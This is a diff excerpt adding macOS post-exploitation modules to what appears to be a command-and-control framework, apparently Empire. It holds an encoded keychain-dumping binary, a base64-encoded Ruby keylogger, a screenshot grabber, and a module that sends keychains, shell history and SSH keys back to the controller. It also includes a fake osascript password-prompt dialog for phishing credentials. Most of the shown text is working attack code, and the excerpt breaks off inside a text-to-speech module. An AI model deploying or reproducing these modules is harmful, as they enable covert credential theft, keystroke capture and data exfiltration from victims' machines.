AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEiIGAdAAAAEkBfX19zdGFja19jaGtfZ3VhcmQAUXIQkEBfbWFjaF90YXNrX3NlbGZfAJBAZHlsZF9zdHViX2JpbmRlcgCA4P//////////AZAAAAAAAAByIBFAX0RFU19lZGUzX2NiY19lbmNyeXB0AJAAcigRQF9ERVNfc2V0X2tleQCQAHIwEkBfX19tZW1jcHlfY2hrAJAAcjgSQF9fX21lbXNldF9jaGsAkAByQBJAX19fc25wcmludGZfY2hrAJAAckgSQF9fX3NwcmludGZfY2hrAJAAclASQF9fX3N0YWNrX2Noa19mYWlsAJAAclgSQF9leGl0AJAAcmASQF9mY2xvc2UAkAByaBJAX2ZnZXRzAJAAcnASQF9mb3BlbgCQAHJ4EkBfZnJlYWQAkABygAESQF9mcmVlAJAAcogBEkBfZnNlZWsAkABykAESQF9mdGVsbACQAHKYARJAX2dldGVudgCQAHKgARJAX2dldGV1aWQAkAByqAESQF9tYWxsb2MAkABysAESQF9tZW1jbXAAkAByuAESQF9wY2xvc2UAkABywAESQF9wb3BlbgCQAHLIARJAX3ByaW50ZgCQAHLQARJAX3Jld2luZACQAHLYARJAX3NzY2FuZgCQAHLgARJAX3N0cmNtcACQAHLoARJAX3N0cm5jbXAAkABy8AESQF9zeXNjdGwAkABy+AESQF90YXNrX2Zvcl9waWQAkABygAISQF92bV9yZWFkX292ZXJ3cml0ZQCQAAABXwAFAApfbWhfZXhlY3V0ZV9oZWFkZXIAogFoZXhfc3RyaW5nAKYBYQCrAWcA0AFzZWFyY2hfZm9yX2tleXNfaW5fAO4BZmluZF9vcl9jcmVhdGVfY3JlZGVudGlhbHMAlwJjaGVja18zZGVzX3BsYWludGV4dF9wYWRkaW5nAJwCZAChAnByaW50X2NyZWRlbnRpYWxzAKUDbWFpbgCqAwIAAAADANAhAAACZGRfbWFzdGVyX2NhbmRpZGF0ZQDLAXRvbTMyAJICAwDQIgAAAmV0X3NlY3VyaXR5ZF9waWQA6QFfAK8DAwDwJAAAAnRhc2tfbWVtb3J5AIgCcHJvY2VzcwCNAgMA0CcAAwCQKwADAPAtAAMAoC4AAwCAMQAAAmVjcnlwdF8AtAJ1bXBfANACAAIzZGVzAMsCY3JlZGVudGlhbHMAoAMDAMAyAAADd3JhcHBpbmdfa2V5APoCa2V5AP8CY3JlZGVudGlhbHNfZGF0YQCWAwMAgDYAAAJfYmxvYgCRA2NoYWluAJsDAwDAOQADAIA+AAMAgEUAAwCQSQADAMBLAAMAoE0AAAJjcmVkZW50aWFscwDTA21hc3Rlcl9jYW5kaWRhdGVzAOYDAwCIYgFfY291bnQA4QMDAJBiAAMAmGIBX2NvdW50APQDAwCgYgAAAAAAAAAA0CGAAaAC4ALAA+ACIBDgAsABwAPAA8AEgAeQBLAC4AEAAAAAAAAAAAIAAAAOAQAAEBcAAAEAAAAQAAAADwEQAAAAAAABAAAAJAAAAA8BAABQEQAAAQAAADoAAAAPAQAA8BYAAAEAAABCAAAADwEAAIAYAAABAAAAYAAAAA8BAABAGQAAAQAAAG4AAAAPAQAAkCQAAAEAAACDAAAADwEAAAAfAAABAAAAmgAAAA8BAADAHAAAAQAAAKkAAAAPAQAAgCIAAAEAAAC4AAAADwEAAAAbAAABAAAAywAAAA8BAAAgFwAAAQAAAOcAAAAPCwAACDEAAAEAAAD2AAAADwsAABAxAAABAAAACwEAAA8LAAAYMQAAAQAAACABAAAPCwAAIDEAAAEAAAA7AQAADwEAAHASAAABAAAATgEAAA8BAADQEAAAAQAAAFoBAAAPAQAAoCYAAAEAAABgAQAADwEAAMAlAAABAAAAcwEAAA8BAACQFQAAAQAAAI8BAAAPAQAA0BMAAAEAAACvAQAAAQAAAQAAAAAAAAAAxQEAAAEAAAEAAAAAAAAAANIBAAABAAACAAAAAAAAAADgAQAAAQAAAgAAAAAAAAAA7gEAAAEAAAIAAAAAAAAAAP4BAAABAAACAAAAAAAAAAANAgAAAQAAAgAAAAAAAAAAHwIAAAEAAAIAAAAAAAAAADICAAABAAACAAAAAAAAAAA4AgAAAQAAAgAAAAAAAAAAQAIAAAEAAAIAAAAAAAAAAEcCAAABAAACAAAAAAAAAABOAgAAAQAAAgAAAAAAAAAAVQIAAAEAAAIAAAAAAAAAAFsCAAABAAACAAAAAAAAAABiAgAAAQAAAgAAAAAAAAAAaQIAAAEAAAIAAAAAAAAAAHECAAABAAACAAAAAAAAAAB6AgAAAQAAAgAAAAAAAAAAiwIAAAEAAAIAAAAAAAAAAJMCAAABAAACAAAAAAAAAACbAgAAAQAAAgAAAAAAAAAAowIAAAEAAAIAAAAAAAAAAKoCAAABAAACAAAAAAAAAACyAgAAAQAAAgAAAAAAAAAAugIAAAEAAAIAAAAAAAAAAMICAAABAAACAAAAAAAAAADKAgAAAQAAAgAAAAAAAAAA0wIAAAEAAAIAAAAAAAAAANsCAAABAAACAAAAAAAAAADpAgAAAQAAAgAAAAAAAAAA/AIAAAEAAAIAAAAAAAAAABYAAAAXAAAAGAAAABkAAAAaAAAAGwAAABwAAAAeAAAAHwAAACAAAAAhAAAAIgAAACMAAAAkAAAAJQAAACYAAAAnAAAAKQAAACoAAAArAAAALAAAAC0AAAAuAAAALwAAADAAAAAxAAAAMgAAADMAAAA0AAAANQAAAAAAAEAdAAAAKAAAABYAAAAXAAAAGAAAABkAAAAaAAAAGwAAABwAAAAeAAAAHwAAACAAAAAhAAAAIgAAACMAAAAkAAAAJQAAACYAAAAnAAAAKQAAACoAAAArAAAALAAAAC0AAAAuAAAALwAAADAAAAAxAAAAMgAAADMAAAA0AAAAIABfX09TU3dhcEludDMyAF9fbWhfZXhlY3V0ZV9oZWFkZXIAX2FkZF9tYXN0ZXJfY2FuZGlkYXRlAF9hdG9tMzIAX2NoZWNrXzNkZXNfcGxhaW50ZXh0X3BhZGRpbmcAX2RlY3J5cHRfM2RlcwBfZGVjcnlwdF9jcmVkZW50aWFscwBfZHVtcF9jcmVkZW50aWFsc19kYXRhAF9kdW1wX2tleV9ibG9iAF9kdW1wX2tleWNoYWluAF9kdW1wX3dyYXBwaW5nX2tleQBfZmluZF9vcl9jcmVhdGVfY3JlZGVudGlhbHMAX2dfY3JlZGVudGlhbHMAX2dfY3JlZGVudGlhbHNfY291bnQAX2dfbWFzdGVyX2NhbmRpZGF0ZXMAX2dfbWFzdGVyX2NhbmRpZGF0ZXNfY291bnQAX2dldF9zZWN1cml0eWRfcGlkAF9oZXhfc3RyaW5nAF9tYWluAF9wcmludF9jcmVkZW50aWFscwBfc2VhcmNoX2Zvcl9rZXlzX2luX3Byb2Nlc3MAX3NlYXJjaF9mb3Jfa2V5c19pbl90YXNrX21lbW9yeQBfREVTX2VkZTNfY2JjX2VuY3J5cHQAX0RFU19zZXRfa2V5AF9fX21lbWNweV9jaGsAX19fbWVtc2V0X2NoawBfX19zbnByaW50Zl9jaGsAX19fc3ByaW50Zl9jaGsAX19fc3RhY2tfY2hrX2ZhaWwAX19fc3RhY2tfY2hrX2d1YXJkAF9leGl0AF9mY2xvc2UAX2ZnZXRzAF9mb3BlbgBfZnJlYWQAX2ZyZWUAX2ZzZWVrAF9mdGVsbABfZ2V0ZW52AF9nZXRldWlkAF9tYWNoX3Rhc2tfc2VsZl8AX21hbGxvYwBfbWVtY21wAF9wY2xvc2UAX3BvcGVuAF9wcmludGYAX3Jld2luZABfc3NjYW5mAF9zdHJjbXAAX3N0cm5jbXAAX3N5c2N0bABfdGFza19mb3JfcGlkAF92bV9yZWFkX292ZXJ3cml0ZQBkeWxkX3N0dWJfYmluZGVyAAAAAA==" +f = open("%sdebug", 'wb') +f.write(base64.b64decode(keychaindump)) +f.close() +run_command('chmod a+x %sdebug') +if "%s" != "": + print os.popen('%sdebug "%s"').read() +else: + print os.popen('%sdebug').read() +run_command('rm -f %sdebug') +""" %(tempDir,tempDir,keyChain,tempDir,keyChain,tempDir,tempDir) + + return script diff --git a/lib/modules/osx/keylogger.py b/lib/modules/osx/keylogger.py new file mode 100644 index 0000000..e011344 --- /dev/null +++ b/lib/modules/osx/keylogger.py @@ -0,0 +1,83 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + # metadata info about the module, not modified during runtime + self.info = { + # name for the module that will appear in module menus + 'Name': 'Webcam', + + # list of one or more authors for the module + 'Author': ['joev', '@harmj0y'], + + # more verbose multi-line description of the module + 'Description': ("Logs keystrokes to the specified file. Ruby based and heavily adapted from MSF's osx/capture/keylog_recorder. Kill the resulting PID when keylogging is finished and download the specified LogFile."), + + # True if the module needs to run in the background + 'Background' : False, + + # File extension to save the file as + 'OutputExtension' : "", + + # if the module needs administrative privileges + 'NeedsAdmin' : False, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe' : False, + + # list of any references/other comments + 'Comments': [ + "https://github.com/gojhonny/metasploit-framework/blob/master/modules/post/osx/capture/keylog_recorder.rb" + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Agent to keylog.', + 'Required' : True, + 'Value' : '' + }, + 'LogFile' : { + 'Description' : 'Text file to log keystrokes out to.', + 'Required' : True, + 'Value' : '/tmp/debug.db' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters + # are passed as an object set to the module and the + # options dictionary is automatically set. This is mostly + # in case options are passed on the command line + if params: + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + logFile = self.options['LogFile']['Value'] + + # base64'ed launcher of ./data/misc/keylogger.rb from MSF + script = """ +import os,time +output = os.popen('echo "require \\\'base64\\\';eval(Base64.decode64(\\\'cmVxdWlyZSAndGhyZWFkJwpyZXF1aXJlICdkbCcKcmVxdWlyZSAnZGwvaW1wb3J0JwpJbXBvcnRlciA9IGlmIGRlZmluZWQ/KERMOjpJbXBvcnRlcikgdGhlbiBETDo6SW1wb3J0ZXIgZWxzZSBETDo6SW1wb3J0YWJsZSBlbmQKZGVmIHJ1YnlfMV85X29yX2hpZ2hlcj8KICBSVUJZX1ZFUlNJT04udG9fZiA+PSAxLjkKZW5kCmRlZiBtYWxsb2Moc2l6ZSkKICBpZiBydWJ5XzFfOV9vcl9oaWdoZXI/CiAgICBETDo6Q1B0ci5tYWxsb2Moc2l6ZSkKICBlbHNlCiAgICBETDo6bWFsbG9jKHNpemUpCiAgZW5kCmVuZAppZiBub3QgcnVieV8xXzlfb3JfaGlnaGVyPwogIG1vZHVsZSBETAogICAgbW9kdWxlIEltcG9ydGFibGUKICAgICAgZGVmIG1ldGhvZF9taXNzaW5nKG1ldGgsICphcmdzLCAmYmxvY2spCiAgICAgICAgc3RyID0gbWV0aC50b19zCiAgICAgICAgbG93ZXIgPSBzdHJbMCwxXS5kb3duY2FzZSArIHN0clsxLi4tMV0KICAgICAgICBpZiBzZWxmLnJlc3BvbmRfdG8/IGxvd2VyCiAgICAgICAgICBzZWxmLnNlbmQgbG93ZXIsICphcmdzCiAgICAgICAgZWxzZQogICAgICAgICAgc3VwZXIKICAgICAgICBlbmQKICAgICAgZW5kCiAgICBlbmQKICBlbmQKZW5kClNNX0tDSFJfQ0FDSEUgPSAzOApTTV9DVVJSRU5UX1NDUklQVCA9IC0yCk1BWF9BUFBfTkFNRSA9IDgwCm1vZHVsZSBDYXJib24KICBleHRlbmQgSW1wb3J0ZXIKICBkbGxvYWQgJy9TeXN0ZW0vTGlicmFyeS9GcmFtZXdvcmtzL0NhcmJvbi5mcmFtZXdvcmsvQ2FyYm9uJwogIGV4dGVybiAndW5zaWduZWQgbG9uZyBDb3B5UHJvY2Vzc05hbWUoY29uc3QgUHJvY2Vzc1NlcmlhbE51bWJlciAqLCB2b2lkICopJwogIGV4dGVybiAndm9pZCBHZXRGcm9udFByb2Nlc3MoUHJvY2Vzc1NlcmlhbE51bWJlciAqKScKICBleHRlcm4gJ3ZvaWQgR2V0S2V5cyh2b2lkICopJwogIGV4dGVybiAndW5zaWduZWQgY2hhciAqR2V0U2NyaXB0VmFyaWFibGUoaW50LCBpbnQpJwogIGV4dGVybiAndW5zaWduZWQgY2hhciBLZXlUcmFuc2xhdGUodm9pZCAqLCBpbnQsIHZvaWQgKiknCiAgZXh0ZXJuICd1bnNpZ25lZCBjaGFyIENGU3RyaW5nR2V0Q1N0cmluZyh2b2lkICosIHZvaWQgKiwgaW50LCBpbnQpJwogIGV4dGVybiAnaW50IENGU3RyaW5nR2V0TGVuZ3RoKHZvaWQgKiknCmVuZApwc24gPSBtYWxsb2MoMTYpCm5hbWUgPSBtYWxsb2MoMTYpCm5hbWVfY3N0ciA9IG1hbGxvYyhNQVhfQVBQX05BTUUpCmtleW1hcCA9IG1hbGxvYygxNikKc3RhdGUgPSBtYWxsb2MoOCkKaXR2X3N0YXJ0ID0gVGltZS5ub3cudG9faQpwcmV2X2Rvd24gPSBIYXNoLm5ldyhmYWxzZSkKbGFzdFdpbmRvdyA9ICIiCndoaWxlICh0cnVlKSBkbwogIENhcmJvbi5HZXRGcm9udFByb2Nlc3MocHNuLnJlZikKICBDYXJib24uQ29weVByb2Nlc3NOYW1lKHBzbi5yZWYsIG5hbWUucmVmKQogIENhcmJvbi5HZXRLZXlzKGtleW1hcCkKICBzdHJfbGVuID0gQ2FyYm9uLkNGU3RyaW5nR2V0TGVuZ3RoKG5hbWUpCiAgY29waWVkID0gQ2FyYm9uLkNGU3RyaW5nR2V0Q1N0cmluZyhuYW1lLCBuYW1lX2NzdHIsIE1BWF9BUFBfTkFNRSwgMHgwODAwMDEwMCkgPiAwCiAgYXBwX25hbWUgPSBpZiBjb3BpZWQgdGhlbiBuYW1lX2NzdHIudG9fcyBlbHNlICdVbmtub3duJyBlbmQKICBieXRlcyA9IGtleW1hcC50b19zdHIKICBjYXBfZmxhZyA9IGZhbHNlCiAgYXNjaWkgPSAwCiAgY3RybGNoYXIgPSAiIgogICgwLi4uMTI4KS5lYWNoIGRvIHxrfAogICAgaWYgKChieXRlc1trPj4zXS5vcmQgPj4gKGsmNykpICYgMSA+IDApCiAgICAgIGlmIG5vdCBwcmV2X2Rvd25ba10KICAgICAgICBjYXNlIGsKICAgICAgICAgIHdoZW4gMzYKICAgICAgICAgICAgY3RybGNoYXIgPSAiW2VudGVyXSIKICAgICAgICAgIHdoZW4gNDgKICAgICAgICAgICAgY3RybGNoYXIgPSAiW3RhYl0iCiAgICAgICAgICB3aGVuIDQ5CiAgICAgICAgICAgIGN0cmxjaGFyID0gIiAiCiAgICAgICAgICB3aGVuIDUxCiAgICAgICAgICAgIGN0cmxjaGFyID0gIltkZWxldGVdIgogICAgICAgICAgd2hlbiA1MwogICAgICAgICAgICBjdHJsY2hhciA9ICJbZXNjXSIKICAgICAgICAgIHdoZW4gNTUKICAgICAgICAgICAgY3RybGNoYXIgPSAiW2NtZF0iCiAgICAgICAgICB3aGVuIDU2CiAgICAgICAgICAgIGN0cmxjaGFyID0gIltzaGlmdF0iCiAgICAgICAgICB3aGVuIDU3CiAgICAgICAgICAgIGN0cmxjaGFyID0gIltjYXBzXSIKICAgICAgICAgIHdoZW4gNTgKICAgICAgICAgICAgY3RybGNoYXIgPSAiW29wdGlvbl0iCiAgICAgICAgICB3aGVuIDU5CiAgICAgICAgICAgIGN0cmxjaGFyID0gIltjdHJsXSIKICAgICAgICAgIHdoZW4gNjMKICAgICAgICAgICAgY3RybGNoYXIgPSAiW2ZuXSIKICAgICAgICAgIGVsc2UKICAgICAgICAgICAgY3RybGNoYXIgPSAiIgogICAgICAgIGVuZAogICAgICAgIGlmIGN0cmxjaGFyID09ICIiIGFuZCBhc2NpaSA9PSAwCiAgICAgICAgICBrY2hyID0gQ2FyYm9uLkdldFNjcmlwdFZhcmlhYmxlKFNNX0tDSFJfQ0FDSEUsIFNNX0NVUlJFTlRfU0NSSVBUKQogICAgICAgICAgY3Vycl9hc2NpaSA9IENhcmJvbi5LZXlUcmFuc2xhdGUoa2Nociwgaywgc3RhdGUpCiAgICAgICAgICBjdXJyX2FzY2lpID0gY3Vycl9hc2NpaSA+PiAxNiBpZiBjdXJyX2FzY2lpIDwgMQogICAgICAgICAgcHJldl9kb3duW2tdID0gdHJ1ZQogICAgICAgICAgaWYgY3Vycl9hc2NpaSA9PSAwCiAgICAgICAgICAgIGNhcF9mbGFnID0gdHJ1ZQogICAgICAgICAgZWxzZQogICAgICAgICAgICBhc2NpaSA9IGN1cnJfYXNjaWkKICAgICAgICAgIGVuZAogICAgICAgIGVsc2lmIGN0cmxjaGFyICE9ICIiCiAgICAgICAgICBwcmV2X2Rvd25ba10gPSB0cnVlCiAgICAgICAgZW5kCiAgICAgIGVuZAogICAgZWxzZQogICAgICBwcmV2X2Rvd25ba10gPSBmYWxzZQogICAgZW5kCiAgZW5kCiAgaWYgYXNjaWkgIT0gMCBvciBjdHJsY2hhciAhPSAiIgogICAgaWYgYXBwX25hbWUgIT0gbGFzdFdpbmRvdwogICAgICBwdXRzICJcblxuWyN7YXBwX25hbWV9XSAtIFsje1RpbWUubm93fV1cbiIKICAgICAgbGFzdFdpbmRvdyA9IGFwcF9uYW1lCiAgICBlbmQKICAgIGlmIGN0cmxjaGFyICE9ICIiCiAgICAgIHByaW50ICIje2N0cmxjaGFyfSIKICAgIGVsc2lmIGFzY2lpID4gMzIgYW5kIGFzY2lpIDwgMTI3CiAgICAgIGMgPSBpZiBjYXBfZmxhZyB0aGVuIGFzY2lpLmNoci51cGNhc2UgZWxzZSBhc2NpaS5jaHIgZW5kCiAgICAgIHByaW50ICIje2N9IgogICAgZWxzZQogICAgICBwcmludCAiWyN7YXNjaWl9XSIKICAgIGVuZAogICAgJHN0ZG91dC5mbHVzaAogIGVuZAogIEtlcm5lbC5zbGVlcCgwLjAxKQplbmQK\\\'))" | ruby > %s &').read() +time.sleep(1) +pids = os.popen('ps aux | grep " ruby" | grep -v grep').read() +print pids +print "kill ruby PID and download %s when completed" +""" %(logFile, logFile) + + return script diff --git a/lib/modules/osx/native_screenshot.py b/lib/modules/osx/native_screenshot.py new file mode 100644 index 0000000..c06a57b --- /dev/null +++ b/lib/modules/osx/native_screenshot.py @@ -0,0 +1,102 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + # metadata info about the module, not modified during runtime + self.info = { + # name for the module that will appear in module menus + 'Name': 'NativeScreenshot', + + # list of one or more authors for the module + 'Author': ['@xorrior'], + + # more verbose multi-line description of the module + 'Description': ('Takes a screenshot of an OSX desktop using the Python Quartz libraries and returns the data.'), + + # True if the module needs to run in the background + 'Background' : False, + + # File extension to save the file as + 'OutputExtension' : "png", + + # if the module needs administrative privileges + 'NeedsAdmin' : False, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe' : False, + + # list of any references/other comments + 'Comments': [] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Agent to execute module on.', + 'Required' : True, + 'Value' : '' + }, + 'SavePath' : { + 'Description' : 'Path of the temporary screenshot file to save.', + 'Required' : True, + 'Value' : '/tmp/out.png' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters + # are passed as an object set to the module and the + # options dictionary is automatically set. This is mostly + # in case options are passed on the command line + if params: + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + savePath = self.options['SavePath']['Value'] + + script = """ +import Foundation +import Quartz +import Quartz.CoreGraphics as CG +from Cocoa import NSURL +import LaunchServices + +region = CG.CGRectInfinite +path = '%s' +image = CG.CGWindowListCreateImage(region, CG.kCGWindowListOptionOnScreenOnly, CG.kCGNullWindowID, CG.kCGWindowImageDefault) +imagepath = NSURL.fileURLWithPath_(path) +dest = Quartz.CGImageDestinationCreateWithURL( + imagepath, + LaunchServices.kUTTypePNG, + 1, + None) +properties = { + Quartz.kCGImagePropertyDPIWidth: 1024, + Quartz.kCGImagePropertyDPIHeight: 720, +} + +Quartz.CGImageDestinationAddImage(dest, image, properties) +Quartz.CGImageDestinationFinalize(dest) + +f = open(path, 'rb') +data = base64.b64encode(f.read()) +f.close() +run_command('rm -f %s') +print data +""" %(savePath,savePath) + + return script diff --git a/lib/modules/osx/pillage_user.py b/lib/modules/osx/pillage_user.py new file mode 100644 index 0000000..e2d8e42 --- /dev/null +++ b/lib/modules/osx/pillage_user.py @@ -0,0 +1,143 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + # metadata info about the module, not modified during runtime + self.info = { + # name for the module that will appear in module menus + 'Name': 'PillageUser', + + # list of one or more authors for the module + 'Author': ['@harmj0y'], + + # more verbose multi-line description of the module + 'Description': ("Pillages the current user for their keychain, bash_history, ssh known hosts, " + "recent folders, etc. For logon.keychain, use https://github.com/n0fate/chainbreaker ." + "For other .plist files, check https://davidkoepi.wordpress.com/2013/07/06/macforensics5/"), + + # True if the module needs to run in the background + 'Background' : False, + + # File extension to save the file as + 'OutputExtension' : "", + + # if the module needs administrative privileges + 'NeedsAdmin' : False, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe' : True, + + # list of any references/other comments + 'Comments': [ + "https://davidkoepi.wordpress.com/2013/07/06/macforensics5/" + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Agent to execute module on.', + 'Required' : True, + 'Value' : '' + }, + 'Sleep' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : "Switch. Sleep the agent's normal interval between downloads, otherwise use one blast.", + 'Required' : False, + 'Value' : 'True' + }, + 'AllUsers' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : "Switch. Run for all users (needs root privileges!)", + 'Required' : False, + 'Value' : 'False' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters + # are passed as an object set to the module and the + # options dictionary is automatically set. This is mostly + # in case options are passed on the command line + if params: + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + sleep = self.options['Sleep']['Value'] + allUsers = self.options['AllUsers']['Value'] + + script = """ +import os +# custom function to send downloac packets back +def downloadFile(path): + import os + filePath = os.path.expanduser(path) + + if os.path.isfile(filePath): + + offset = 0 + size = os.path.getsize(filePath) + + while True: + + partIndex = 0 + + # get 512kb of the given file starting at the specified offset + encodedPart = get_file_part(filePath, offset) + + partData = "%%s|%%s|%%s" %%(partIndex, filePath, encodedPart) + + if not encodedPart or encodedPart == '': break + + sendMessage(encodePacket(41, partData)) + + # if we're choosing to sleep between file part downloads + if "%(sleep)s".lower() == "true": + global minSleep + global maxSleep + minSleep = (1.0-jitter)*delay + maxSleep = (1.0+jitter)*delay + sleepTime = random.randint(minSleep, maxSleep) + time.sleep(sleepTime) + + partIndex += 1 + offset += 5120000 + +searchPaths = ['/Library/Keychains/login.keychain', '/.bash_history', '/Library/Preferences/com.apple.finder.plist', '/Library/Preferences/com.apple.recentitems.plist', '/Library/Preferences/com.apple.Preview.plist' ] + +if "%(allUsers)s".lower() == "true": + d='/Users/' + userPaths = [os.path.join(d,o) for o in os.listdir(d) if os.path.isdir(os.path.join(d,o))] +else: + userPaths = ['~/'] + +for userPath in userPaths: + for searchPath in searchPaths: + downloadFile(userPath + searchPath) + +downloadFile('c') + +# grab all .ssh files +filePath = os.path.expanduser('~/.ssh/') +sshFiles = [f for f in os.listdir(filePath) if os.path.isfile(os.path.join(filePath, f))] +for sshFile in sshFiles: + downloadFile('~/.ssh/' + sshFile) + +print "pillaging complete, if login.keychain recovered, use chainbreaker with the user password" +""" % {'sleep': sleep, 'allUsers': allUsers} + + return script diff --git a/lib/modules/osx/prompt.py b/lib/modules/osx/prompt.py new file mode 100644 index 0000000..6fc27e6 --- /dev/null +++ b/lib/modules/osx/prompt.py @@ -0,0 +1,98 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + # metadata info about the module, not modified during runtime + self.info = { + # name for the module that will appear in module menus + 'Name': 'Prompt', + + # list of one or more authors for the module + 'Author': ['@FuzzyNop', '@harmj0y'], + + # more verbose multi-line description of the module + 'Description': ('Launches a specified application with an prompt for credentials with osascript.'), + + # True if the module needs to run in the background + 'Background' : False, + + # File extension to save the file as + 'OutputExtension' : "", + + # if the module needs administrative privileges + 'NeedsAdmin' : False, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe' : False, + + # list of any references/other comments + 'Comments': [ + "https://github.com/fuzzynop/FiveOnceInYourLife" + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Agent to execute module on.', + 'Required' : True, + 'Value' : '' + }, + 'AppName' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'The name of the application to launch.', + 'Required' : True, + 'Value' : 'App Store' + }, + 'ListApps' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Switch. List applications suitable for launching.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters + # are passed as an object set to the module and the + # options dictionary is automatically set. This is mostly + # in case options are passed on the command line + if params: + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + listApps = self.options['ListApps']['Value'] + appName = self.options['AppName']['Value'] + + if listApps != "": + script = """ +apps = [ app.split('.app')[0] for app in os.listdir('/Applications/') if not app.split('.app')[0].startswith('.')] +choices = [] +for x in xrange(len(apps)): + choices.append("[%s] %s " %(x+1, apps[x]) ) + +print "\\nAvailable applications:\\n" +print '\\n'.join(choices) +""" + + else: + # osascript prompt for the specifiec application + script = """ +print os.popen('osascript -e \\\'tell app "%s" to activate\\\' -e \\\'tell app "%s" to display dialog "%s requires your password to continue." & return default answer "" with icon 1 with hidden answer with title "%s Alert"\\\'').read() +""" %(appName,appName,appName,appName) + + return script diff --git a/lib/modules/osx/say.py b/lib/modules/osx/say.py new file mode 100644 index 0000000..3c83727 --- /dev/null +++ b/lib/modules/osx/say.py @@ -0,0 +1,81 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + # metadata info about the module, not modified during runtime + self.info = { + # name for the module that will appear in module menus + 'Name': 'Say', + + # list of one or more authors for the module + 'Author': ['@harmj0y'], + + # more verbose multi-line description of the module + 'Description': ('Performs text to speach using "say".'), + + # True if the module needs to run in the background + 'Background' : False, + + # File extension to save the file as + 'OutputExtension' : '', + + # if the module needs administrative privileges + 'NeedsAdmin' : False, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe' : False, + + # list of any references/other comments + 'Comments': [ ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Agent to execute module on.', + 'Required' : True, + 'Value' : '' + }, + 'Text' : { + 'Description' : 'The text to speak.', + 